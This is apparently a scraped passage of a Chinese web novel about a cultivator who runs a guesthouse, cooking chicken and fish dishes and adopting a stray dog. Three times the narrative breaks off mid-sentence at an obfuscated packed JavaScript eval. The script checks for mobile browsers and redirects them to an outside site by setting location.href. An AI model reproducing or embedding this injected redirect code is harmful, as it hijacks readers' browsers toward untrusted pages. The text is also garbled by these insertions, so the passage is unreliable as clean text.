首先得选用正宗的三黄鸡,煮鸡的时候讲究“三浸三提”的手法让鸡皮收紧,火一定要小,将开未开的状态下焖上二十五分钟,这种状态还有个专业的名称叫做‘虾眼水’,意思是能看到很多虾眼大小的气泡,温度大概在80度左右。 煮好了出锅,切开后,肌理分明却柔若无骨,皮下的凝脂像啫喱般滑嫩不腻,所以这火候的关键,就在一个‘嫩’字,要骨髓里都还能透着一些红,能渗出鲜甜的鸡汁为妙。 蘸料的口味则看个人喜欢,姜蒜蓉油料、红葱头油料、或者今天做的沙姜豉油都不错,各有各的滋味。 今天这碟子白切鸡之所以能让吃惯嘴的水佬这样的惊艳,除了好手艺,其实多半要归功于空间灵气熏染过的姜葱蒜和香菜。 可这没法说,安斯年放下筷子,给大家斟上茶,“真没什么特别的,就是火候掌握的好一些吧。” 曾凯眼风一扫,他其实也觉得肯定有什么独家秘方来着,只不过这是人家开店的根本,怎么好意思这样一直追问?于是帮腔道:“很有可能,就说那个油爆双脆吧,唉我去,一口嚼下去咯嘣脆!稍微炒过一点就不是那个味儿了。小安这手艺啊,真的是没得说!太绝了,这个!” 说着说着,竖起了大拇指,在安斯年眼前狠狠点了几下。 冯乐乐倒是想到了别的,“年仔,你手艺好成这样,怎么不干脆开个私家菜馆好了?像老曾说的,人均一顿收个两三千的,来钱不比这儿快?还有啊,这饭菜只有住客能吃?纯吃客上门难道你不接待么?” 安斯年暂时不想暴露食材的秘密,没办法请其他的大厨,来吃饭的人多了他可真心忙不过来的,所以一开始就决定只给住客供餐。 至于开民宿,他从想到这点子开始就有些放不下了,追根究底,大概是小时候他父母带他去过几次的那家民宿给他的感觉太好,记忆太过深刻了吧。 喝口茶,去去嘴里的饭味儿,安斯年笑答:“乐姐,现在这样我觉得就很好了,人太多我也招呼不过来,纯吃客的话就只有抱歉了,以后我做块牌子摆到外面去,‘餐厅仅接待住客’,算是我这儿的第一条店规。” “那给点菜么?”曾凯脑子转得快,就想着之后周末约几个好朋友一起过来,一人点上两个爱吃的菜,尽快把小安的拿手菜摸清楚了。 今天这顿又是鲁菜又是粤菜的,每一样都是那么完美,实在看不出他的厨艺是什么路数和底细。 安斯年摇头:“不能,我做什么当天就供应什么,实在不爱吃的,可以不在这儿吃啊,下面小渔村的海鲜排档也不少呢。” 既然不能点,那曾凯干脆直接开口问了:“那小安你最拿手什么?你这手艺到底在哪儿学的啊?” 最拿手? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731008|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那可太多了,而且样样都拿手。 不管是刀工、火候还是调味,就冲着他修士的体质以及神识的敏锐度,地球上都找不出比他更强的人,可这话也没办法说,说出来像是在吹牛。 在九嶷三百年的时间,除了修行,他基本就捣鼓吃的了,两个位面的食材和饮食文化差异太大,为了吃口对味儿的,他不知道做过多少的实验。也只有在吃到相似的味道的时候,他才会觉得自己没有那么的孤单,不再是漂泊异界的一缕孤魂。 “跟我阿公学的做菜,他可是家传的手艺,搁他老家那边,十村八寨的没人不知道他的大名。至于我最拿手什么,你也别问了,给你和乐姐开个后门,以后想来玩提前和我打招呼,想吃什么也尽管说。” 说着话,安斯年抬眼看向楼梯。 几秒钟后,晏臻拿着一瓶牛奶和一个保温盒走了下来。 楼梯是木质的,安斯年听着“咚咚”的声音,发现这人左脚落地的时候比右脚重了很多,长裤遮掩着,看不出到底是什么原因造成的,但两条腿的重量差异这么大,左腿不是义肢就是植入过钢板钢钉之类。 但如果只看他行走的姿势,却又看不出半点的异样。 再联想起这人右脸和脖子上那一条曾经致命的长长疤痕……安斯年站起身问道:“需要帮忙么?” “有破壁机么?” “有。” 安斯年走进厨房,从橱柜里拿出一台崭新的破壁机,清洗后用厨房纸巾擦干,再次问:“需要帮忙么?” “……不用,你很闲?” 明白了,不仅不用帮,大概还挺反感被人帮。 安斯年把破壁机推到晏臻面前,转身走回餐厅里。 冯乐乐凑近了小声八卦:“住客?住几天啊?” “嗯,你们隔壁那间,就一天。” “刚才怎么没一块儿吃饭啊?” 安斯年没顾上答,厨房里晏臻一打开保温盒盖子,往破壁机里放材料他就闻出味儿了,先是鸡胸肉、鸡蛋,然后米饭、南瓜、苹果,最后加了牛奶…… 开机,“嗡嗡”声响了起来。 啊?!这人,该不会要吃这鬼玩意儿吧? 营养倒是挺营养的,可这搅在一起得是个什么味道? “……呃,我有邀请过,但他大概不太想吃吧。” 安斯年一边应付冯乐乐,一边转了个半身,余光偷偷瞄了过去。 糊糊打好了,颜色看着还行,有点像芒果奶昔,至于味道嘛,他不敢想象。 就见那位晏先生把糊糊倒进了保温盒里,一口,再一口,缓慢艰难但又坚定的喝着。 “咔” 开门声响起,良辰急匆匆走了进来。 平时约好上门的时间是下午一点,他的电驴今天罢工了,家里另外一台又被阿光骑出去送货了,担心被老板责怪,直接用两条腿跑着上山的,这会儿额角挂满了汗珠。 似乎没想到餐厅里这么些人,他稍微愣了一下。 冯乐乐也愣住了,这么一个黑皮花臂大哥,气势汹汹的样子,难不成,上门收保护费的? 晏臻从厨房投来视线,安斯年似乎从中感应到了一丝杀气。 可也就那么一瞬间,凌厉的气势就消失得无影无踪。 这人……到底是干什么工作的? 14. 窑鸡 “老……老板,我小电驴坏啦,晚到了,我等会多干一会儿活儿。” 良辰一开口,大哥气质瞬间垮塌,老老实实的模样和他身上的刺青形成了鲜明的反差。 安斯年笑着回应:“没事的,我今天有客人了,吃饭也吃得晚了点,来了就行。” “好,好,那我做事了。” 大块头熟门熟路的找出围裙穿好,走回餐厅开始收拾碗筷,他看着干干净净的沙煲和盘子,稍微有点失望。 在这儿干活快一周了,良辰觉得一切都挺好的,本身环境就很干净,打扫的活儿也就不重;老板是个帅气的小伙子,笑眯眯的人也很好说话,一点不欺负人。 就是每天收拾厨房的时候有点难受。 光能闻着残留的香味儿,就是看不见菜做成了什么样子。 似乎无论做了什么,到最后连残渣也剩不下来。 那老板的手艺应该很好很好吧,就是不知道吃起来会是什么味道。 良辰端着碗盘走进厨房,就见一高个男人站在岛台边喝着黄色的糊糊。 他知道这栋房子是做民宿用的,面生的估计都是客人,可这客人怎么没吃老板做的饭,反倒喝着这么大盒恶心的东西? 抑制住好奇心,良辰专注手里的活儿,没再看对方一眼。 晏臻倒是饶有兴致的打量着他,盯了一小会儿,低问:“……纹身,是贴的?” 餐厅里水佬和曾凯在大声讨论美食,冯乐乐靠在男票身侧品着花茶,这句话只有安斯年听见了,他忍不住转头看向自家钟点工。 良辰的脸已经涨成了猪肝色,“啊啊”的支吾了几下,小声威胁道:“要……要你管,敢告诉别人,我就揍你。” 安斯年咬了咬嘴唇。 主要是怕自己不小心笑出声,被良辰听见那就尴尬了。 他倒是没想过大块头这一身的刺青居然是假的…… 可这根本就是几可乱真的程度啊,起码以他视觉的灵敏度也没能分辨出来,晏先生又是怎么看出来的? 至于钟点工竟敢威胁住客要揍人这件事,他倒是没怎么放在心上,这栋房子但凡有点风吹草动都在他的掌握之中,闹不出什么问题的。 而且认识好多天了,良辰的脑回路有多抽象他是知道的,墙外一夜之间就爬满的花瀑这人一点没察觉奇怪;还有,前两天打碎他一个盘子收拾的时候,不小心割破了手指头,就他上楼拿个创口贴的功夫,这高仿花臂的大块头居然还抹眼泪了……哭得汪汪的,超大声。 可见是个怕疼的,说要揍人应该也就是说说而已,大概中二还没过保质期吧。 被威胁的那个显然也没放在心上,加速喝完了糊糊,把保鲜盒往良辰面前一摆,“帮忙洗一下,谢谢。” 说完了转身就走,不知道是想到了什么,上楼的速度明显比开始下来时快了许多。 安斯年收回目光,冲着冯乐乐两口子问:“晚上呢?想吃点什么?” 曾凯想都没想,脱口而出:“窑鸡啊!”然后又有些不好意思,“小安你行不行?那个应该蛮复杂的吧?” 倒也不是很复杂,就是腌制至少要五个小时,现在就得开始做准备了。 “中午才吃了鸡,晚上还吃啊?曾哥你个闽洲人,比我们粤洲的还爱吃鸡。”安斯年玩笑一句,满口答应道:“当然行,没问题。” 玩笑归玩笑,既然点了菜了,他自然要认真对待,拿出一个中号的瓷盆,开始配制腌鸡的调料。 沙姜粉、头抽酱油、米酒、蒜蓉还有五香粉,调出黄金比例后,先把三黄鸡针灸一遍,也就是说用竹签插些小孔,再细细的用腌料抹匀了,盖上盖子,静置入味。 这会儿早就过了水佬平时开台的时间,他的手机不停“叮叮”的响,估计被麻友们催得不行了,他也找不到理由再继续赖下去,最后望了一眼腌鸡的瓷盆,幻想了一下晚上的美味,不甘不愿的下山去了。 冯乐乐两个嘀咕了几句,打算回房间睡个午觉,等会睡醒了太阳没那么大了,就去后院泳池里泡一泡,泡到晚上再坐等着吃窑鸡,简直完美。 等这些人都走了,一楼顿时安静了许多,只有洗碗机轻微的噪音和良辰拖地时发出的水声。 安斯年大概盘算了一下,窑鸡的口感肥美多汁,又出奇的香,烤上两只,配上个清爽的蒜蓉丝瓜,再熬个微酸的番茄大骨头汤去腻,三个人怎么也就够了,材料基本都有,倒是包裹窑鸡的荷叶他没有准备。 其实不用也不是不可以,但他记得山脚小渔村的土产店里就有得卖,上下一趟也用不了太多的功夫,如果少了这一丝丝荷叶清甜,那做出来的窑鸡也是不完美的。 他边摘手套,边和良辰招呼道:“我下山买点东西,一会儿就回来,二楼的‘迷迭香’和‘百里香’房都有客人了,其他的地方打扫干净就行。” “好的,老板。”良辰憨憨的点头。 拿上手机和钥匙,安斯年骑着银灰色的小电鸡,拐进了山道。 前一夜下过大雨,山道更加凹凸不平了,积水较深的地方还没干透,被太阳晒着蒸腾出热气,带着一些咸腥的泥土气息。 这路确实是个问题,好酒也怕巷子深,安斯年在心里琢磨着,以后要找机会修整一下才好。 到了土产店门口,他没下车,两条长腿一支,冲着看柜台的大妈叫了一声:“巧姨,给我拿两扎整张的荷叶,多少钱?” “三十,小安你只要荷叶么?刚到了些干茶树菇,靓得很嘞。” 安斯年拿出手机,对准柜台的收款码,遥遥扫了一下,付了三十块,嘴里答道:“不了,荷叶今天急着用,其他的等下次过来看看再说。” 巧姨不光名字好记,手也确实挺巧,眨眼的功夫,用麻绳将两扎荷叶捆好了,留出巴掌长的绳头打上个活结,用手拎着,连塑料袋都省了,向安斯年递了过来,“小安,听说你那儿开始接客了?大概什么价位啊,万一以后有人问,我也好帮你推荐推荐。” “光住宿的话,两百到五百八之间,但我那儿主打个美食民宿的概念,吃饭倒是不便宜的,让客人们自己考虑吧。”安斯年简单介绍两句,又觉得人家说要帮忙宣传,这话他得领情,笑着说:“诶,我差点忘了,确实要买点茶树菇备着,巧姨,你那靓货给我称上两斤?” “好嘞,一百六啊,姨不骗你,绝对靓,你拿回去煲个汤就知道了,香死个人!” 再次扫码,接过同样用麻绳捆扎好的茶树菇,安斯年知道巧姨这话没骗人,手上这一捆长短均匀的干茶树菇,呈现着自然的茶色,菌盖完整、手感轻脆,只有淡淡的菌菇香气,没有丝毫的霉味,确实靓。 他指尖略微抖动,掂量了一下,嗯,整整两斤,分量也分毫不差。 怪不得之前他问水佬附近哪家干货质量好,水佬直接就推荐这里,做生意确实是挺实诚的。 安斯年将巧姨列入长期供应商名单内,语气更亲近了些,“巧姨,那我先回去了,下次再有什么好东西你可想着我点。” 柜台后的女人大声答应:“好嘞!回见啊。” 安斯年把麻绳的活扣挂在车把上,左手一使劲调转车头,右手举在空中挥了挥,“拜拜”,小电鸡潇洒的画过一条弧线,朝来时的方向开了回去。 这会儿已经快下午两点多了,正是全天最热的时候,太阳光很有些毒辣,商业街上看不见什么人影。 安斯年倒是不怕热,他现在的体质,基本已经是寒暑不侵的,只不过视觉太敏感,被白花花的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731009|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳还有路面反射的白光照得眼晕,有点后悔没带墨镜出来。 正开着车,后面传来一句略熟悉的咆哮声:“个衰狗!我打亖你啊!” 微微转头,灰不溜秋的一只小家伙,叼着小段烤肠正拼命逃窜,一只人字拖从天而降,砸在它旁边,离着它也就不到一掌的距离。 再往后一看,阿光赤着双脚追过来了,手里拿着另外一只拖鞋,在空气中挥舞,杀气四溢。 小电鸡匀速滑行着,旁边的小家伙猛的一加速,再一拐弯,窜到了车子前面,继续跑…… ?!! 这是拿我当挡箭牌了? 安斯年险些气笑了。 就这样开了一小会儿,再转头一看,阿光已经追到了刚才掉落拖鞋的地方,也许被电鸡遮住了视线,他再没看见偷烤肠的小贼,只好用脚扒拉着拖鞋,对着空气骂骂咧咧,“再让我看见你,非扒了你的皮!” 回过头,车子前面的小贼跑得轻盈自如,偶尔急速的扭头瞅一眼,嘴里的烤肠叼得稳稳的,丝毫不显慌乱。 又过了一会儿,到了分岔路口,安斯年向右转准备上山,他原以为掩护了这么一段,缘分也就到了,没想到那只流浪狗顿了一下,扭头猛的一加速,直接窜上了脚踏板! 一条脏得看不出颜色的尾巴就在他鞋面上摇来晃去的。 不仅如此,它竟然就这样蹲坐下了,开始悠哉哉的享用战利品。 安斯年“……” 高低不平的山路,就这样颠了二十来分钟,粉色花海已出现在眼前。 安斯年微微低头,对着小家伙说:“偷人东西是不对的,更何况你还老盯着人一家去偷,下次真的被抓住了,那谁也救不了你了……嗯,虽然你脏了点丑了点,但我也不嫌弃,要不然,就跟我回家吧?” 小贼扭头望了一眼,粉色的舌头耷拉出来“哈赤哈赤”喘着气,也不知道是不是真的那么灵性,能听懂他说的话。 到了停车的地方,电鸡刚一停稳,安斯年还没来得及踩下支架,脚踏板上的流浪狗“嗖”的一下窜出去,绕过花海,向后山果林方向跑走了。 这家伙,还以为是真通了人性愿意和他回家了,没想到就是搭了个顺风车。 锁好车,拿上荷叶和茶树菇,安斯年笑骂一声,“呵,小坏狗。” 一晃就到了下午五点来钟,腌制好的三黄鸡可以开始烤制了。 用已经绰水去掉涩味的荷叶,将整只鸡包裹好,再密封上两层锡箔纸,安斯年端着这两只走到烤房旁,点火,将里面的红泥烧热。 用来烧火的干柴都是荔枝树的枯枝,这样熏烤出的窑鸡还会带着一丝隐约的果香味。 等泥块烧到通红后,把鸡放进去,用泥块的热度焖上四十分钟就可以了。出炉后,窑鸡外皮会呈现琥珀色的焦脆感,局部甚至薄如纸片,咬下的时候“咔嚓”轻响,油脂被逼出后仅剩一层酥香的薄膜,毫无肥腻的感觉。 而皮下的嫩肉,会在密封窑烤中封住所有汁水,撕开的时候才会爆涌而出,晶莹剔透,鲜美绝伦。 光凭他对这火候的拿捏,安斯年就能想象得到,等会那俩吃客会疯狂到什么地步。 不一会儿的功夫,即使隔着锡箔纸和层层的红泥块,浓郁到极致的肉香也遮掩不住了,开始四下弥漫。 冯乐乐和曾凯在安斯年开始烤鸡的时候就从泳池里出来了,回房间冲凉换衣服,没等这俩人闻香而至,之前跑到没影儿的小贼突然从一旁的花丛里钻了出来,两眼黑碌碌的盯着烤房,舌头上的涎水快要流成了河。 安斯年不过一起身的动作,看了它两眼而已,这家伙极度的机敏,又想开跑…… “啧” 还跑? 看你还能往哪儿跑! 15. 水煮鱼片 第三次见面了,注定你就该是我的狗狗。 安斯年神识微动,小贼脚边的草叶疯长,瞬间就把四只狗腿缠住了。 小贼“嗷”的一声趴下了,眼神里满是震惊与求饶。 安斯年走前两步,蹲在这只流浪犬的面前,一手拎住了它的后颈皮, “这么皮,就叫你陈皮吧。” 趁着晚饭前还有些时间,他打算把这小脏狗好好洗洗。 拎着动弹不得的小狗上楼,楼梯上正遇着他首位客人又拿着另一个保温盒下楼。 保温盒的款式颜色和中午的一模一样,但安斯年知道这是另外一个,中午用的那个还在消毒柜里摆着呢。 难道晚餐又是一顿糊糊? 两人错身而过,他还是没能忍住,“……晚上我烤了窑鸡,要试试么?” 小脏狗似乎闻到了什么不喜欢的味道,亮了牙齿,从喉咙里发出“哼哼”的低声威胁,四肢在空气中乱爬,安斯年右手抖了抖警告了一下,小狗爪子一蜷,叫声立刻变成了“嘤~”。 晏臻顿了一会儿,“……不用。” “哦。”安斯年没再耽搁,拎狗继续向上走,没走几步,还留在原地的客人仰头问道:“……能给豆汁儿分一小碟么?它最爱吃鸡肉。” “豆汁儿?” 安斯年从楼梯上探出脑袋向下看,问完了立刻反应过来,这大概率是对方那只黑猫的名字。 这也是京都一款传统小吃的名字。 非常出名,据说会平等的惩罚每一个不信邪的外地人。 他被人忽悠进娱乐圈的那一年,也曾做过一段时间的北漂,好奇心驱使下喝过一次,一口下去差点被直接送走,当时他甚至怀疑自己喝的是下水道里不知名的玩意儿…… 饶是自诩吃货的他,也对那发酸发臭的味道接受不来。 但这一点不美好的回忆,不能迁怒到一只同名的小动物身上,安斯年点头: “好啊,等会给它留一点。” 回到三楼,安斯年直奔洗手间,指尖微动,“唰唰”,小脏狗被绿色的藤蔓捆了个结实,放进了洗手盆里。 调好水温,收了藤蔓,一手抓着后颈皮,一手淋浴头沐浴露接连上阵,池子里的水从黑色渐渐到清透。 最后吹风机出动,也就几分钟时间,一只灰白相间的卷毛泰迪出现在面前。 仔细看一眼,也就嘴巴周围和爪子是白色的,其他地方都是灰色的小卷毛。圆溜溜的黑眼睛,可爱的黑色鼻头,吐着粉红的舌头,颜值还挺高的,不知道为什么会变了流浪狗。 放下吹风机,安斯年在掌心中凝结出一颗黄豆大小的灵气珠子,递到狗狗嘴边,“陈皮,你的名字就叫陈皮了,这样干干净净的多好?以后吃的喝的我都会给你安排,不许再偷人东西,听懂了么?” 听没听懂暂时不知道,但递到嘴边的珠子被陈皮舌头一卷,迫不及待的吞了下去。 刚一下肚,小狗就炸了毛,“嗷嗷”低低咆哮了几声,一转眼,“噗”的倒在了桌面上,打起了呼噜。 这是身体机能过载,进入休眠自我保护了。 安斯年将小泰迪抱到沙发上,揉了揉对方的小脑袋,锁好门,下楼。 来到后院的烤房,不光冯乐乐曾凯在,那位端着糊糊小口喝着的晏先生也在。 窑鸡烤好之后香气实在太霸道了,空气中满满是香料激发出的肉香味,安斯年拿着把大钳子将两个锡箔纸团夹出来,还没揭开,口水已经流了一嘴,微微抬眼,另外三个人六只眼睛也都死死盯着,魂不守舍的模样。 这天晚上,一顿晚饭吃得像是在打架。 其实主要是冯乐乐和曾凯两个,抢得太凶了。 锡纸和荷叶一打开,明明还冒着热气烫得不行,这俩已经直接上了手,一边叫“烫死了”一边撕了肉皮往嘴里塞,嘴里的还没咽干净,就又伸向了下一块,吓得安斯年赶紧打开另外一个锡纸包,快手撕了一条鸡腿放进自己碗里。 要不然,他怕和上次一样,眨眼的功夫整整两只鸡就被这俩干没了。 刚享受的咬了一口,一旁伸过来一个小碟子,晏臻默默的不说话,晃了晃手里的碟子。 安斯年左手捏着鸡腿撕咬,右手用筷子扒拉下两条鸡胸肉,放进碟子里。 碟子又晃了晃。 他又扒拉了一条放进去。 再晃…… 安斯年“……” 好了哦,事不过三啊,人都不够吃,你那黑豆汁儿能吃多少? 勉勉强强再加了小指头粗细的一条,安斯年抬头直直的看向对方,用意念说Stop。 这人似乎挺爱皱眉,年纪轻轻的,印堂中间就有了些眉间纹,和狭长的眼睛配起来,面相更显得有些凌厉。 不知道是不是真的感应到了意念,晏臻低头看了看碟子,终于没再晃悠,嘶哑着嗓音回了句:“……谢谢”扭头上楼喂猫去了。 安斯年收回视线…… “啊啊!!!” 桌面的第二只窑鸡已经只剩一小截了! 他迅速加入了抢夺战线,一双筷子被挥出了残影…… 战斗一样的晚饭吃完,安斯年切了些西瓜装在果盘里端到后院,三个人瘫在躺椅上消食。 半山腰上,温度比市区低了些,正是体感最舒服的时候。 周围的植物挂满了星星灯,这会儿打开了,高高低低,忽闪忽闪的,应和着夏夜的蛙鸣,再被海风轻轻一吹,慵懒又闲适,躺平了,让人连脚指头都懒得动一下。 但手指头还是可以动的。 冯乐乐刷着手机,突然笑出了声,“哎哎,年仔,你见没见群里发的李主任的照片?我去,他怎么也长草了?今年长草很流行么?” “哪个群?公司的群我基本都退了。” “约饭的小群啊。”冯乐乐答了一声,干脆把手机递了过来。 照片是在一个沙滩浴场,见过几面的那位李主任,蓝底白花的泳裤缝隙里,绿色的草芽包不住了,一蓬蓬的往外冒着。 安斯年随意瞄了一眼,没什么兴趣再看了,辣眼睛。 倒是曾凯接过手机,放大了仔细琢磨了一下,“啧啧,这是从屁股上长出来的,还是前面啊?也太邪门了吧?真菌感染?” “鬼知道。”冯乐乐敷衍男票一句,眼睛却直直盯着安斯年。 就这样盯了好一会儿,看得他心里毛毛的,心想你未婚夫就在旁边呢,这样直勾勾盯着别的男生好么? “……干嘛?”他忍不住扭过头小声的抱怨一句。 冯乐乐压低声音:“真不是你干的?就老牛和李魔头长草这事儿……” 当然是安斯年干的。 牛部长的草籽在发套上发芽,那是用枯荣法诀催生了一下,提前了几天,这个李主任今天去了海滨浴场,温度湿度正合适,加上草籽吸饱了水分,可不就立刻发芽了?至于发芽后猛地窜到老长,那也是安斯年在种子里做过手脚。 但他肯定是不能认的,“怎么就又是我了?李魔头隔着这儿不知道多远呢,离职后我也没再见过他。” “直觉啊,你懂不懂……”冯乐乐挠着下巴,仍然一脸的怀疑,“主要你的变化太突然又太大了,就……怎么说呢,那种气质吧,大概类似于:以前见你心里会想‘哎呦,挺帅啊’,现在?‘卧槽,这还是个人么?’嗯,大概就是这种程度。” “……” 安斯年无奈的向曾凯甩过一个眼神,两人说话的声音虽然低,但这哥们显然也听见了,把手机丢回女票手里,哼笑了一下,“废话,人小安不是还做过爱豆么?那颜值还用你夸?” 说起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731010|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个曾凯还真有点好奇,又问:“做明星来钱多快啊,小安你有这机会,怎么没继续做下去?” 为什么没继续?这倒也没什么不能说的,但是当时真的叠加了好些debuff,一时不知道从哪儿说起。 简略一点,安斯年说:“嗯,就遇到了挺多不愉快的事儿,还被人骗到南亚,差点被卖进园区里去了,我感觉那行当实在不适合我吧。” “我去,真的假的,你怎么跑掉的?没听你说过啊……”冯乐乐迅速接嘴。 安斯年:“真的啊,就半路跑掉的,没什么曲折。” 这段经历说起来,他至今都晕晕乎乎的,前半段是被人忽悠着进了一个草台班子剧组,说是到南亚出外景,后半段被绑了之后却又被人中途踹下了面包车,这就有点摸不着头脑了。 是绑他的那几个人起了内讧么?或者有什么突发情况让他们不得不放了他? 不知道…… 他被人蒙着眼睛,什么也看不见,对方讲的南亚方言他也听不懂,只记得踢他下车的那个人有一把低沉磁性的好嗓子,完全可以去做歌手或者声优的程度。结果竟然是做了绑匪,让他心里很是鄙视了一通。 可鄙视归鄙视,后来那人把他踹下车,却也让他因此得到了救援,多少能算是救命恩人了,也不知道这辈子还有没有遇上的机会。 要是真能遇上了,作为回报,他这个修士可以报恩的手段那可就太多了。 想到这儿,安斯年心念微动,手指轻弹两下,两丝灵气从指尖射出,皮筋一样弹射到身旁两人胳膊上,瞬间没入了皮肤。 就像是泥牛入海,这两丝灵气在对方身体里从头到脚穿梭了两圈,没得到丝毫回应,从哪儿进去的又从哪儿冒出来,然后消散在空气之中。 看来这两人连最基础的五灵根都没有,毫无修炼的资质。 曾凯“呃”的一声,打了个长长的饱嗝,“哎,舒服了,刚才撑得要死。” 冯乐乐:“我也是,刚被这小风一吹,胃里也才舒服点……” 安斯年勾了勾嘴角。 哪来的小风?不过是灵气入体,清肠清胃清血管,灵根虽然没找到,但身体多少得了些好处,算是他对这两位的回礼。 “小安,下周帮我留两间房啊,我一个朋友答应要来试试你的手艺,还有我妈,我让乐乐陪她一起过来玩玩。” 曾凯的话音刚落,一声“……安老板”从后方传来。 三个人扭头看过去,晏臻抱着他那只黑猫走了过来。 E人冯乐乐热情的打了个招呼:“呦,溜猫呢?你这小猫真乖啊,抱着一动也不动的。” “……动不了了,十七岁,快死了。” 猫咪的十七岁相当于人的八十来岁,寿数将近不爱动倒也是正常的,但你作为主人说话也太…… 而且不知道是声音太难听还是音质自带金属感,这话听上去特别的冰冷,冯乐乐“哦”了一声,再没兴致搭话了。 这人已走到了躺椅旁边,安斯年直起身,就见客人垂下眼皮,用手顺着猫毛说:“房间,我想再续三天。” “可以啊,欢迎……还是免餐对吧?” “不,要吃饭的,算上饭钱吧。” 看来这位想通了? 毕竟是头一个客人,安斯年客气了一句:“好啊,那你明天想吃点什么?” 深黑的瞳孔望过来,似乎有点诧异,“不是我吃,是豆汁儿……做条鱼吧。” “……” 每天一千五的餐费呢,用来喂猫? 这不是猫大爷,这明明是猫老爷啊。 冯乐乐和男票互相递个眼色,真想和这些不知人间疾苦的有钱人拼了。 安斯年也有点无语,但话是他自己问的,只能尬笑着答应,“……行,那就,水煮鱼片?” 16. 红豆双皮奶 清晨的鹿角港,海雾还没散尽,柴油引擎的轰鸣已撞碎了寂静,铁皮船舷上凝结着夜晚的露水,泫然欲滴。 渔民们踩着湿滑的甲板,把装满冰碴的泡沫箱子推上了码头,塑料筐里的青蟹螯钳划破了麻袋,在晨光中透出些鲜活的微蓝色。 “带鱼现杀!便宜了啊!”裹着胶皮围裙的鱼贩抡起砍刀,案板震得铁皮桌面嗡嗡作响,安斯年稍微避开一些,大声问:“河鲜有么?草鱼或者黑鱼?” 他已经走过两三家了,这个港口鱼市卖海鲜的多,没见到卖河鲜的,可水煮鱼片还是用河鱼才好吃。 “冇有啊,你去铁手叔家吧,他那儿有,往前再走一家就是啦……” 安斯年道声谢,再欣赏两眼对方凌厉的刀法,收回视线继续向前走。 铁手叔?名字怪少见的,难道是装了义肢的残疾人?他脑海里冒出个类似铁钩船长的人物形象。 再走过两家……嗯,很好找,鱼档的招牌上就写着“铁手”俩字。一路走来也就他家的摊子铺得最大。 “老板,来两条草鱼,2斤……不,3斤左右的吧。”回想起冯乐乐两口子的食量,安斯年迅速改了口。 “好嘞!稍等啊。” 老板是个壮实的小老头,留着花白的刺头,杀鱼去鳞、开膛破肚也就不到三分钟,完事儿还问:“要去骨、切片么?” 服务态度可真好,但安斯年有自己想要的鱼片厚度,“不用,谢了啊,你就是铁手叔?我看你家鱼货齐全的很,以后我想要新鲜的可以预定么?” 一边问,一边不经意的扫过对方的大手。 可老板还是敏锐的感觉到了,而且显然不是第一次遇到这样的眼光,他伸开右手的五根指头转了转,哈哈大笑: “真当我手是铁做的?后生仔可真好骗!是绰号啦!”说着话,又指了指一旁的二维码,“订货没问题,数量够了还可以送货,自己扫码加个好友。” 后生仔? 我怕我的年纪说出来能吓死你! 三百二十三岁高龄的安斯年在心里嘀咕了一下,波澜不惊的扫码付款,加了好友。 回到民宿差不多已经上午十点了,安斯年扯下围裙,开始准备午饭。 今儿的主菜是水煮鱼片,但是猫老爷点的菜,它本身是不能吃这么又咸又辣的,会掉毛。属于它的那一小份得单独调味。 水煮鱼片是一道麻辣鲜香的江湖菜,起源于蓉洲,核心技法就是突出一个“野”字。 配菜要野——垫底的青菜没有固定路数,想怎么来就怎么来,或者说什么当季就吃什么,莴笋、豆芽、木耳、金针菇等等等等,主打一个对味儿就行。 调料得野——必须是粗犷的刀口辣椒,也就是干辣椒、花椒和其他香料干炒油炸后,用菜刀剁碎而成。 最后视觉也得野:垫底的青菜炒好,鱼片也烹饪好了后,撒上满满的刀口辣椒,上桌前,用滚油一浇!“滋滋啦啦”,热气和香气同时蒸腾,瞬间就能成为全桌的焦点。 有这样一道主菜,配上爽口的凉菜,再加个清甜的马蹄玉米煲猪骨汤,绝对完美。 正忙活着,冯乐乐和曾凯两个打工人终于睡够懒觉起床了,噔噔噔的下了楼,窜到厨房找食儿。 这个点儿不早不晚的,肚子有点点饿,但他俩又担心吃饱了影响中午的大餐,找了半天,一人撇了半截黄瓜,没滋没味的啃着。 冯乐乐对着安斯年问:“年仔,你这里是用了什么杀虫剂么?居然一只蚊子也没有,太神奇了,昨晚我还准备了驱蚊水和花露水,结果一点也没用得上。” 安斯年将片好的鱼片挂了浆,顺着一个方向轻轻搅动,随口答道:“没有,就种了些驱蚊的植物,薄荷、薰衣草、天竺葵,都有。” 尤其薄荷,这东西即可食用又可药用,他在网上下单买了种子后,在自己的空间里种了一大片,被灵气熏陶了好几天才移栽出来,长势旺盛得不得了,香气的功效也特别厉害,蚊虫鼠蚁都得绕道走的那种。 “啊,这样啊……植物驱蚊也能这么牛掰啊……” 